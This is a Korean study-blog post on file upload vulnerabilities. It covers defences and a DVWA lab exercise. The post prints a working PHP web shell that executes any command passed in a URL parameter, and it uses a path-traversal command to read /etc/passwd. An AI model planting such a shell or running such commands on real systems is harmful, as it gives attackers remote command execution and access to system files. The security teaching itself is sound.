일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 금별맥주
- 토라비
- 신촌 소문난집
- apollo react native
- promise처리
- 도그존
- 고르드
- 비동기배열처리방법
- graphql mutation error
- 화이트 해커를 위한 웹 해킹의 기술
- graphql
- 지보싶 신촌점
- 예쁜술집 예술
- graphql with reactnative
- 잠실새내
- useMutation error
- 홍대 예술
- 잠실새내 도그존
- promise메서드
- 앙버터마카롱
- typescript
- graphql react native
- apolloclient
- 운정 소바동
- 화이트해커를 위한 웹 해킹의 기술
- 비동기배열
- 홍대 토라비
- 홍대 카페 장쌤
- graphql with RN
- graphql 400
- Today
- Total
yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆
파일 업로드 공격 및 실습 본문
파일 업로드 공격
:파일 업로드 기능에 적절한 보안 대책이 적용되어 있지 않을 때 파일 업로드 취약점이 발생한다.
만약, 이러한 파일 업로드 기능을 구현할 때 아무 파일이나 업로드 할 수 있게 허용된다면, 공격자는 '웹 쉘'이라고 불리는 악성 파일을 업로드할 수 있게 된다.
파일 업로드 기능의 예
- 게시판에 파일 첨부
- 사용자 프로필에 사진 업로드
- 소셜 네트워크 사이트에서 사진이나 파일 업로드
웹 쉘 (Web shell) ?
웹을 통해 시스템 명령어를 실행할 수 있는 웹 페이지의 일종
터미널을 열고 쉘에서 명령어를 실행할 수 있는 것과 같이 웹 페이지를 통해 시스템 명령어를 내릴 수 있기 때문에 웹 쉘이라고 이름이 지어졌다.
간단한 웹 쉘 코드 (webshell.php)
<?php
echo 'Enter a Command:<br>';
echo '<form action="">';
echo '<input type=text name="cmd">';
echo '<input type="submit">';
echo '</form>';
/*
echo 부분은 명령어를 입력받을 수 있는 폼을 제공
공격자가 입력 폼에 명령어를 입력하면 cmd 파라미터를 통해 전달된다.
*/
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
//system 함수를 통해 전달된 명령어가 실행된다.
?>
파일 업로드 공격 대응
- 꼭 필요한 파일 형식만 업로드 되도록 파일의 확장자와 내용을 검사한다.
(파일 확장자만 검사하는 경우, 파일의 실제 내용을 확장자와 다르게 전송함으로써 우회할 수 있음
-> 파일의 내용까지 일부 검사해서 파일의 종류를 확실히 검사해야함) - 업로드된 파일을 사용자가 접근 불가능한 경로에 저장한다.
(파일 업로드를 위한 별도의 서버를 구축하고 웹 애플리케이션을 서비스하는 서버와 분리하는 것도 가능) - 파일이 업로드되는 디렉터리의 실행 권한을 제거한다.
- 업로드된 파일을 다른 확장자로 변경한다.
(확장자를 제거하거나 변경해서 저장하면 해당 파일 경로로 접속해도 php 코드가 실행되지 않도록 할 수 있음) - 업로드된 파일의 이름을 랜덤하게 재생성하여 저장
(공격자가 파일 경로를 찾을 수 없게 한다.)
웹 애플리케이션에 파일 인클루전 취약점이 존재할 경우 일부 대응 방법을 우회할 수 있으므로 파일 인클루전 취약점으로부터의 보호도 필요하다.
파일 업로드 공격 실습
환경: DVWA- security level low - File Upload
DVWA에서 File Upload에 접속
접속하기 전에 webshell.php 를 생성해야한다. 터미널에서 원하는 위치에 webshell.php를 vi editor로 생성해주고 위치를 기억해두자
file upload 하는 페이지가 나왔다. 이미지 파일을 업로드하라고 나와있지만
우리는 미리 만들어둔 wbshell.php를 업로드 해보자
파일 형식이 이미지가 아닌 php 여도 파일이 업로드가 되었다. 심지어 파일이 업로드된 경로도 알려주었다.
파일이 업로드된 위치로 이동해서 webshell.php를 실행해보자.
URL에서 위치를 조정해서 webshell.php를 실행하면 다음과 같은 페이지가 나온다.
command를 입력하는 창이 있는 페이지 webshell.php가 정상적으로 열렸다.
이제 적절한 command를 입력해서 passwd 파일을 열어볼 것이다.
command: cat ../../../../../../../../../etc/passwd
(../를 여러번 사용해서 root 디렉터리로 이동하고 passwd가 있는 디렉터리로 이동한다.)
위와 같이 passwd 파일을 읽어올 수 있었다.
'웹 > 웹 해킹' 카테고리의 다른 글
접근 통제 취약점 (0) | 2020.11.18 |
---|---|
민감한 데이터 노출 (0) | 2020.11.17 |
파일 인클루전 (File inclusion) (0) | 2020.11.11 |
Stored XSS 공격 실습 (0) | 2020.10.08 |
Reflected XSS 공격 실습 (0) | 2020.10.04 |